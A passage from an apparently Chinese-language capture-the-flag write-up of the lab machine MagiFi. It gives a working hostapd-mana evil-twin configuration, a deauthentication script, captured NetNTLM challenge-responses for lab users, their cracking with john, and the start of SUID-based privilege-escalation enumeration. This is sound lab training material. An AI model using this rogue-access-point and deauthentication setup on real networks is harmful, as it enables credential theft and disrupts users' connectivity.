Details:\n        Serial Number: 1 (0x1)\n        Validity\n            Not Before: Jun 22 08:05:42 2025 GMT\n            Not After : Aug 21 08:05:42 2025 GMT\n        Subject:\n            countryName               = ES\n            stateOrProvinceName       = Madrid\n            organizationName          = Hogwarts\n            commonName                = Hogwarts Certificate Authority\n            emailAddress              = server@hogwarts.htb\n        X509v3 extensions:\n            X509v3 Extended Key Usage: \n                TLS Web Server Authentication\n            X509v3 CRL Distribution Points: \n\n                Full Name:\n                  URI:http:\/\/www.example.com\/example_ca.crl\n\nCertificate is to be certified until Aug 21 08:05:42 2025 GMT (60 days)\n\nWrite out database with 1 new entries\nData Base Updated\nopenssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:&#039;whatever&#039; -passout pass:&#039;whatever&#039;\nchmod g+r server.p12\nopenssl pkcs12 -in server.p12 -out server.pem -passin pass:&#039;whatever&#039; -passout pass:&#039;whatever&#039;\nchmod g+r server.pem\nserver.pem: OK\nopenssl x509 -inform PEM -outform DER -in ca.pem -out ca.der\nopenssl ca -gencrl -keyfile ca.key -cert ca.pem -config .\/ca.cnf -out ca-crl.pem -key &#039;whatever&#039;\nUsing configuration from .\/ca.cnf\nopenssl crl -in ca-crl.pem -outform der -out ca.crl\nrm ca-crl.pem\nopenssl req -new  -out client.csr -keyout client.key -config .\/client.cnf\nGenerating a RSA private key\n.......................................................................................................................+++++\n...........+++++\nwriting new private key to &#039;client.key&#039;\n-----\nchmod g+r client.key\nopenssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key &#039;whatever&#039; -out client.crt -extensions xpclient_ext -extfile xpextensions -config .\/client.cnf\nUsing configuration from .\/client.cnf\nCheck that the request matches the signature\nSignature ok\nThe countryName field is different between\nCA certificate (ES) and the request (FR)\nmake: *** [Makefile:120: client.crt] Error 1<\/code><\/pre>\n<p>\u7136\u540e\u5229\u7528<code>eap_user<\/code>\u89c4\u5b9a fakeAP \u63a5\u6536\u7684\u4fe1\u606f\u6709\u54ea\u4e9b\uff1a<\/p>\n<blockquote>\n<p><code>mana.eap_user<\/code> \u662f <strong>\u65e0\u7ebf\u653b\u51fb\u5de5\u5177 Mana \u7684 EAP \u8ba4\u8bc1\u914d\u7f6e\u6587\u4ef6<\/strong>\uff0c\u7528\u4e8e\u5b9a\u4e49\u5ba2\u6237\u7aef\u4e0e\u65e0\u7ebf\u63a5\u5165\u70b9\uff08AP\uff09\u4e4b\u95f4\u4f7f\u7528\u7684 <strong>EAP \u8ba4\u8bc1\u534f\u8bae<\/strong>\u53ca\u5176\u652f\u6301\u7684\u5b50\u8ba4\u8bc1\u65b9\u6cd5\u3002<\/p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align: center;\"><strong>\u5b57\u6bb5<\/strong><\/th>\n<th style=\"text-align: center;\"><strong>\u542b\u4e49<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\"><code>*<\/code><\/td>\n<td style=\"text-align: center;\">\u901a\u914d\u7b26\uff0c\u8868\u793a\u9ed8\u8ba4\u914d\u7f6e\u9002\u7528\u4e8e\u6240\u6709 EAP \u7c7b\u578b\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>PEAP<\/code><\/td>\n<td style=\"text-align: center;\">\u4f7f\u7528 TLS \u52a0\u5bc6\u7684 EAP \u65b9\u6cd5\uff0c\u9700\u670d\u52a1\u5668\u8bc1\u4e66\u9a8c\u8bc1\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>TTLS<\/code><\/td>\n<td style=\"text-align: center;\">\u901a\u8fc7 TLS \u96a7\u9053\u4f20\u8f93\u5176\u4ed6\u8ba4\u8bc1\u534f\u8bae\uff08\u5982 <code>MSCHAPv2<\/code>\uff09\uff0c\u9700\u670d\u52a1\u5668\u8bc1\u4e66\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>TLS<\/code><\/td>\n<td style=\"text-align: center;\">\u7eaf TLS \u8ba4\u8bc1\uff0c\u9700\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u8bc1\u4e66\u53cc\u5411\u9a8c\u8bc1\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>FAST<\/code><\/td>\n<td style=\"text-align: center;\">\u57fa\u4e8e TLS \u7684\u5feb\u901f\u8ba4\u8bc1\uff0c\u4f9d\u8d56\u9884\u5171\u4eab\u5bc6\u94a5\uff08PSK\uff09\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>&quot;t&quot;<\/code><\/td>\n<td style=\"text-align: center;\">\u53ef\u80fd\u4e3a\u6d4b\u8bd5\u6a21\u5f0f\u6807\u8bb0\uff0c\u542f\u7528\u7279\u5b9a\u8c03\u8bd5\u6216\u653b\u51fb\u903b\u8f91\uff08\u9700\u7ed3\u5408\u5de5\u5177\u6587\u6863\uff09\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>TTLS-PAP<\/code><\/td>\n<td style=\"text-align: center;\">TTLS \u96a7\u9053\u5185\u4f7f\u7528 PAP \u660e\u6587\u5bc6\u7801\u8ba4\u8bc1\uff08\u5b89\u5168\u6027\u4f4e\uff0c\u6613\u88ab\u7834\u89e3\uff09\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>MSCHAPv2<\/code><\/td>\n<td style=\"text-align: center;\">\u5fae\u8f6f\u6311\u6218\u63e1\u624b\u8ba4\u8bc1\u534f\u8bae\uff0c\u5e7f\u6cdb\u7528\u4e8e Windows \u7f51\u7edc\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><code>[2]<\/code><\/td>\n<td style=\"text-align: center;\">\u53ef\u80fd\u8868\u793a\u914d\u7f6e\u7248\u672c\u6216\u5b50\u914d\u7f6e\u5757\u7f16\u53f7\uff0c\u7528\u4e8e\u591a\u573a\u666f\u5207\u6362\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/blockquote>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp\/fakeap\/certs$ nano mana.eap_user\nharry_potter@MagiFi:\/tmp\/fakeap\/certs$ cat mana.eap_user \n*     PEAP,TTLS,TLS,FAST\n&quot;t&quot;   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    &quot;pass&quot;   [2]<\/code><\/pre>\n<p>\u6700\u540e\u4f7f\u7528\u4ece\u76ee\u6807\u8bbf\u95ee\u70b9\u83b7\u5f97\u7684\u6570\u636e\u521b\u5efa\u914d\u7f6e\u6587\u4ef6\uff0c\u4f8b\u5982 SSID\uff0c\u5b89\u5168\u8bbe\u7f6e\u548c\u63a5\u53e3\u3002<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp\/fakeap\/certs$ nano mana.conf \nharry_potter@MagiFi:\/tmp\/fakeap\/certs$ cat mana.conf \nssid=wifi-college\ninterface=wlan1\ndriver=nl80211\nchannel=1\nhw_mode=g\nieee8021x=1\neap_server=1\neapol_key_index_workaround=0\neap_user_file=\/tmp\/fakeap\/certs\/mana.eap_user\nca_cert=\/tmp\/fakeap\/certs\/ca.pem\nserver_cert=\/tmp\/fakeap\/certs\/server.pem\nprivate_key=\/tmp\/fakeap\/certs\/server.key\nprivate_key_passwd=whatever\ndh_file=\/tmp\/fakeap\/certs\/dh\nauth_algs=1\nwpa=2\nwpa_key_mgmt=WPA-EAP\nwpa_pairwise=CCMP TKIP\nmana_wpe=1\nmana_credout=\/tmp\/fakeap\/certs\/hostapd.credout\nmana_eapsuccess=1\nmana_eaptls=1<\/code><\/pre>\n<p>\u7136\u540e\u662f\u5229\u7528<code>hostapd-mana<\/code>\u6309\u7167\u914d\u7f6e\u6587\u4ef6\u751f\u6210\u8282\u70b9\uff0c\u5f00\u59cb\u5e7f\u64ad SSID \u5e76\u5904\u7406\u8eab\u4efd\u9a8c\u8bc1\u8bf7\u6c42\uff0c\u4f46\u662f\u4f1a\u62a5\u9519\uff1a<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp$ sudo hostapd-mana mana.conf\nConfiguration file: mana.conf\nMANA: Captured credentials will be written to file &#039;\/tmp\/hostapd.credout&#039;.\nCould not read interface wlan1                   flags: No such device\nnl80211: Driver does not support authentication\/association or connect commands\nnl80211: deinit ifname=wlan1                     disabled_11b_rates=0\nCould not read interface wlan1                   flags: No such device\nnl80211 driver initialization failed.\nwlan1                   : interface state UNINITIALIZED-&gt;DISABLED\nwlan1                   : AP-DISABLED \nhostapd_free_hapd_data: Interface wlan1                  wasn&#039;t started\nharry_potter@MagiFi:\/tmp$ ip link show wlan1\n16: wlan1: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000\n    link\/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff<\/code><\/pre>\n<p>\u56e0\u4e3a\u6ca1\u6709\u8bbe\u7f6e\u76d1\u542c\uff0c\u6240\u4ee5\u8bbe\u7f6e\u4e00\u4e2a\u76d1\u542c\uff0c\u53e6\u5f00\u4e00\u4e2a\u7ec8\u7aef\u8fdb\u884c\u64cd\u4f5c\uff01<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp\/fakeap\/certs$ sudo hostapd-mana mana.conf\nConfiguration file: mana.conf\nMANA: Captured credentials will be written to file &#039;\/tmp\/fakeap\/certs\/hostapd.credout&#039;.\nUsing interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid &quot;wifi-college&quot;\nwlan1: interface state UNINITIALIZED-&gt;ENABLED\nwlan1: AP-ENABLED <\/code><\/pre>\n<p>\u53ef\u4ee5\u4e86\uff01\uff01\uff01<\/p>\n<p>\u7136\u540e\u5229\u7528\u9776\u673a\u4f5c\u8005\u5199\u7684\u4e00\u4e2a\u811a\u672c\uff0c\u5bf9\u6240\u6709\u8282\u70b9\u8fdb\u884c\u6328\u4e2a\u89e3\u9664\u8ba4\u8bc1\uff1a<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp$ cat deauth.sh \n#!\/bin\/bash\n\nwlan1=&quot;wlan3&quot;\nwlan2=&quot;wlan4&quot;\nwlan3=&quot;wlan5&quot;\n\nbssid1Channel=&quot;44&quot;\nbssid2Channel=&quot;36&quot;\nbssid3Channel=&quot;40&quot;\n\nbssid1=&quot;F0:9F:C2:71:22:15&quot;\nbssid2=&quot;F0:9F:C2:71:22:16&quot;\nbssid3=&quot;F0:9F:C2:71:22:17&quot;\n\ncheck_monitor_mode() {\n  interface=$1\n  channel=$2\n  mode=$(iwconfig ${interface}mon 2&gt;\/dev\/null | grep &quot;Mode:Monitor&quot;)\n  if [ -z &quot;$mode&quot; ]; then\n    sudo airmon-ng start $interface $channel\n  fi\n}\n\nrun_aireplay() {\n  interface=$1\n  bssid=$2\n  sudo aireplay-ng -0 30 -a $bssid ${interface}mon\n}\n\ncheck_monitor_mode $wlan1 $bssid1Channel\ncheck_monitor_mode $wlan2 $bssid2Channel\ncheck_monitor_mode $wlan3 $bssid3Channel\n\necho &quot;Running deauthentication attack...&quot;\n\nrun_aireplay $wlan1 $bssid1 &amp;\nrun_aireplay $wlan2 $bssid2 &amp;\nrun_aireplay $wlan3 $bssid3 &amp;\n\nwait<\/code><\/pre>\n<p>\u8282\u70b9\u88ab\u89e3\u9664\u8ba4\u8bc1\u4ee5\u540e\u5c1d\u8bd5\u91cd\u8fde\u5c31\u4f1a\u8fde\u63a5\u5230\u4f2a\u9020 wifi \u4e0a\uff0c\u53d1\u9001\u6211\u4eec\u9700\u8981\u7684 NTLM hash \u8fc7\u6765\uff01\uff01\uff01\uff01\u6240\u4ee5\u8fd9\u91cc\u624b\u52a8\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u53ea\u4e0d\u8fc7\u8981\u641e\u5f88\u591a\u6b21\u3002\u3002\u3002<\/p>\n<p>\u4e09\u4e2akali\u7ec8\u7aef\u7684\u60c5\u51b5\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\"># kali1 \u76d1\u542c\n CH 128 ][ Elapsed: 10 mins ][ 2025-06-22 13:20 ][ WPA handshake: F0:9F:C2:71:22:16 \n\n BSSID              PWR  Beacons    #Data, #\/s  CH   MB   ENC CIPHER  AUTH ESSID\n\n 02:00:00:00:01:00  -28     3409      143    0   1   54        CCMP   MGT  wifi-college                                                                                                     \n F0:9F:C2:71:22:15  -29      265        0    0  44   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     \n F0:9F:C2:71:22:16  -29      264       58    0  36   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     \n F0:9F:C2:71:22:17  -29      267       87    0  40   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     \n\n BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes\n\n 02:00:00:00:01:00  64:32:A8:07:6C:40  -29    1 - 1      0      121  PMKID  wifi-college                                                                                                     \n 02:00:00:00:01:00  64:32:A8:07:6C:43  -29    6e- 1      0      193  PMKID  wifi-college                                                                                                     \n 02:00:00:00:01:00  64:32:A8:07:6C:42  -29    1 - 1      0      157  PMKID  wifi-college                                                                                                     \n F0:9F:C2:71:22:16  64:32:A8:07:6C:41  -29    6e- 6e     0      166  PMKID  wifi-college<\/code><\/pre>\n<pre><code class=\"language-bash\"># kali2 \u4f2a\u9020\u8282\u70b9\nharry_potter@MagiFi:\/tmp\/fakeap\/certs$ sudo hostapd-mana mana.conf\nConfiguration file: mana.conf\nMANA: Captured credentials will be written to file &#039;\/tmp\/fakeap\/certs\/hostapd.credout&#039;.\nUsing interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid &quot;wifi-college&quot;\nwlan1: interface state UNINITIALIZED-&gt;ENABLED\nwlan1: AP-ENABLED \nwlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: authenticated\nwlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: associated (aid 1)\nwlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:41\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nMANA EAP Identity Phase 0: Hogwarts\\albus.dumbledore\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25\nMANA EAP Identity Phase 1: Hogwarts\\albus.dumbledore\nMANA EAP EAP-MSCHAPV2 ASLEAP user=albus.dumbledore | asleap -C 44:4f:6d:dc:28:55:c3:8c -R 05:58:4f:62:63:a5:1e:1b:54:87:96:29:6a:3a:62:85:1d:86:b8:d8:c4:d3:c2:70\nMANA EAP EAP-MSCHAPV2 JTR | albus.dumbledore:$NETNTLM$444f6ddc2855c38c$05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:::::::\nMANA EAP EAP-MSCHAPV2 HASHCAT | albus.dumbledore::::05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:444f6ddc2855c38c\nEAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 0e 21 42 cf 50 0c fa 6e fb 8d a1 8d d8 63 0b 69\nwlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: authenticated\nwlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: authenticated\nwlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: associated (aid 1)\nwlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:43\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nwlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: associated (aid 2)\nMANA EAP Identity Phase 0: Hogwarts\\tom.riddle\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25\nwlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:40\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nMANA EAP Identity Phase 0: Hogwarts\\rubeus.hagrid\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25\nMANA EAP Identity Phase 1: Hogwarts\\tom.riddle\nMANA EAP EAP-MSCHAPV2 ASLEAP user=tom.riddle | asleap -C 29:da:39:7f:92:3f:f3:cf -R 12:33:3f:27:9b:59:d0:71:7c:85:35:c5:73:ca:5b:32:c9:62:32:01:92:a0:22:76\nMANA EAP EAP-MSCHAPV2 JTR | tom.riddle:$NETNTLM$29da397f923ff3cf$12333f279b59d0717c8535c573ca5b32c962320192a02276:::::::\nMANA EAP EAP-MSCHAPV2 HASHCAT | tom.riddle::::12333f279b59d0717c8535c573ca5b32c962320192a02276:29da397f923ff3cf\nEAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 46 eb 92 c2 3e 75 f9 46 3e be d0 1f 04 76 b3 1c\nMANA EAP Identity Phase 1: Hogwarts\\rubeus.hagrid\nMANA EAP EAP-MSCHAPV2 ASLEAP user=rubeus.hagrid | asleap -C 19:af:04:38:b5:3a:d2:f5 -R d1:b3:15:89:62:4c:ec:35:5f:0e:2a:dc:7c:3b:6f:be:22:80:fc:f4:d5:25:cd:5f\nMANA EAP EAP-MSCHAPV2 JTR | rubeus.hagrid:$NETNTLM$19af0438b53ad2f5$d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:::::::\nMANA EAP EAP-MSCHAPV2 HASHCAT | rubeus.hagrid::::d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:19af0438b53ad2f5\nEAP-MSCHAPV2: Derived Master Key - hexdump(len=16): f4 16 05 b7 06 06 72 54 44 73 58 ba 18 74 69 c2\nwlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: authenticated\nwlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: associated (aid 1)\nwlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:42\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nMANA EAP Identity Phase 0: Hogwarts\\minerva.mcgonagall\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25\nMANA EAP Identity Phase 1: Hogwarts\\minerva.mcgonagall\nMANA EAP EAP-MSCHAPV2 ASLEAP user=minerva.mcgonagall | asleap -C 25:57:75:5c:ec:b3:f8:80 -R 0b:a6:ba:03:d2:dc:76:13:b6:e5:71:bc:1a:60:5d:a7:ff:46:7d:df:9f:93:45:83\nMANA EAP EAP-MSCHAPV2 JTR | minerva.mcgonagall:$NETNTLM$2557755cecb3f880$0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:::::::\nMANA EAP EAP-MSCHAPV2 HASHCAT | minerva.mcgonagall::::0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:2557755cecb3f880\nEAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 91 10 e9 a6 f4 ac 73 15 d0 0b 3b ea 11 82 7b b2\nwlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: authenticated\nwlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: associated (aid 1)\nwlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:43\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nMANA EAP Identity Phase 0: Hogwarts\\tom.riddle\nwlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25\nMANA EAP Identity Phase 1: Hogwarts\\tom.riddle\nMANA EAP EAP-MSCHAPV2 ASLEAP user=tom.riddle | asleap -C cd:28:fa:20:e8:bc:be:2b -R 5a:4b:35:fb:9d:cc:e6:32:7c:d8:79:64:6d:5f:47:c1:db:cf:d9:99:31:a7:26:87\nMANA EAP EAP-MSCHAPV2 JTR | tom.riddle:$NETNTLM$cd28fa20e8bcbe2b$5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:::::::\nMANA EAP EAP-MSCHAPV2 HASHCAT | tom.riddle::::5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:cd28fa20e8bcbe2b\nEAP-MSCHAPV2: Derived Master Key - hexdump(len=16): fb a5 56 4a 59 98 41 70 7b a1 d6 d4 89 67 ee ff<\/code><\/pre>\n<pre><code class=\"language-bash\"># kali3 \u7ec8\u6b62\u9a8c\u8bc1\nharry_potter@MagiFi:\/tmp$ .\/deauth.sh \nRunning deauthentication attack...\n13:19:08  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:16) on channel 36\n13:19:08  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:17) on channel 40\n13:19:08  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:15) on channel 44\nNB: this attack is more effective when targeting\na connected wireless client (-c &lt;client&#039;s mac&gt;).\nNB: this attack is more effective when targeting\na connected wireless client (-c &lt;client&#039;s mac&gt;).\nNB: this attack is more effective when targeting\na connected wireless client (-c &lt;client&#039;s mac&gt;).\n13:19:08  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:16]\n13:19:08  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:17]\n13:19:08  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:17]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:16]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:17]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n13:19:09  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:16]\n13:19:10  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n-------------------------\n13:19:23  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n13:19:23  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:16]\n13:19:23  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:17]\n13:19:24  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:15]\n13:19:24  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:16]\n13:19:24  Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:71:22:17]<\/code><\/pre>\n<p>\u91cc\u9762\u5305\u542b\u4e86\u56db\u4e2a\u7528\u6237\uff1a <code>tom.riddle<\/code>,  <code>rubeus.hagrid<\/code>\uff0c<code>minerva.mcgonagall<\/code>, <code>albus.dumbledore<\/code>\uff0c\u5c1d\u8bd5\u7834\u8bd1\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ cat hash                                                   \nalbus.dumbledore::::05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:444f6ddc2855c38c\ntom.riddle::::12333f279b59d0717c8535c573ca5b32c962320192a02276:29da397f923ff3cf\nrubeus.hagrid::::d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:19af0438b53ad2f5\nminerva.mcgonagall::::0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:2557755cecb3f880\ntom.riddle::::5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:cd28fa20e8bcbe2b\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ john -w=\/usr\/share\/wordlists\/rockyou.txt hash\nWarning: detected hash type &quot;netntlm&quot;, but the string is also recognized as &quot;netntlm-naive&quot;\nUse the &quot;--format=netntlm-naive&quot; option to force loading these as that type instead\nUsing default input encoding: UTF-8\nLoaded 5 password hashes with 5 different salts (netntlm, NTLMv1 C\/R [MD4 DES (ESS MD5) 128\/128 SSE2 4x3])\nWarning: no OpenMP support for this hash type, consider --fork=4\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\nblackhogwarts    (tom.riddle)     \nblackhogwarts    (tom.riddle)     \n2g 0:00:00:03 DONE (2025-06-22 09:30) 0.6134g\/s 4399Kp\/s 19087Kc\/s 19087KC\/s !!!dakkungnoy..*7\u00a1Vamos!\nUse the &quot;--show --format=netntlm&quot; options to display all of the cracked passwords reliably\nSession completed. <\/code><\/pre>\n<p>\u5176\u4e2d\u53ea\u6709\u7528\u6237<code>tom.riddle<\/code>\u7684\u5bc6\u7801\u53ef\u4ee5\u7834\u8bd1\u51fa\u6765\uff0c\u4e3a<code>blackhogwarts<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338005.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338005.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622213143046\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h4>\u603b\u7ed3\u4e0a\u8ff0\u6b65\u9aa4<\/h4>\n<pre><code class=\"language-bash\">sudo \/usr\/sbin\/airmon-ng check kill\nsudo \/usr\/sbin\/airmon-ng start wlan0\nsudo \/usr\/sbin\/airodump-ng wlan0mon --band a\nsudo \/usr\/sbin\/aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan0mon\nsudo \/usr\/sbin\/aireplay-ng -0 0 -a F0:9F:C2:71:22:16 wlan0mon\nsudo \/usr\/sbin\/aireplay-ng -0 0 -a F0:9F:C2:71:22:17 wlan0mon\nsudo airodump-ng wlan0mon --band abg -c 36,40,44 -w \/tmp\/scans\/scan\ncp -R \/etc\/freeradius\/3.0\/certs certs\nchmod -R 777 certs\/\nnano certs\/ca.cnf\nnano certs\/server.cnf\nmake\nnano mana.eap_user\nnano mana.conf\nsudo hostapd-mana mana.conf\nvim deauth.sh\nchmod +x deauth.sh\n.\/deauth.sh<\/code><\/pre>\n<h3>\u63d0\u6743root<\/h3>\n<h4>\u65b9\u6cd5\u4e00\uff1aSUID\u6587\u4ef6\u63d0\u6743<\/h4>\n<h5>\u4fe1\u606f\u641c\u96c6<\/h5>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ sudo -l\n[sudo] password for tom.riddle: \nSorry, user tom.riddle may not run sudo on MagiFi.\ntom.riddle@MagiFi:~$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chfn\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/xxd_horcrux\n\/usr\/bin\/su\n\/usr\/bin\/fusermount\n\/usr\/bin\/at\n\/usr\/bin\/pkexec\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/chsh\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/policykit-1\/polkit-agent-helper-1\n\/usr\/lib\/authbind\/helper\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/snapd\/23545\/usr\/lib\/snapd\/snap-confine\n\/snap\/snapd\/24718\/usr\/lib\/snapd\/snap-confine\n\/snap\/core20\/2599\/usr\/bin\/chfn\n\/snap\/core20\/2599\/usr\/bin\/chsh\n\/snap\/core20\/2599\/usr\/bin\/gpasswd\n\/snap\/core20\/2599\/usr\/bin\/mount\n\/snap\/core20\/2599\/usr\/bin\/newgrp\n\/snap\/core20\/2599\/usr\/bin\/passwd\n\/snap\/core20\/2599\/usr\/bin\/su\n\/snap\/core20\/2599\/usr\/bin\/sudo\n\/snap\/core20\/2599\/usr\/bin\/umount\n\/snap\/core20\/2599\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core20\/2599\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core20\/2434\/usr\/bin\/chfn\n\/snap\/core20\/2434\/usr\/bin\/chsh\n\/snap\/core20\/2434\/usr\/bin\/gpasswd\n\/snap\/core20\/2434\/usr\/bin\/mount\n\/snap\/core20\/2434\/usr\/bin\/newgrp\n\/snap\/core20\/2434\/usr\/bin\/passwd\n\/snap\/core20\/2434\/usr\/bin\/su\n\/snap\/core20\/2434\/usr\/bin\/sudo\n\/snap\/core20\/2434\/usr\/bin\/umount\n\/snap\/core20\/2434\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core20\/2434\/usr\/lib\/openssh\/ssh-keysign\n\/home\/tom.riddle\/.horcrux.png\ntom.riddle@MagiFi:~$ ls -la \/usr\/bin\/xxd_horcrux\n-rwsr-xr-x 1 root root 17400 Feb 13 07:31 \/usr\/bin\/xxd_horcrux\ntom.riddle@MagiFi:~$ file 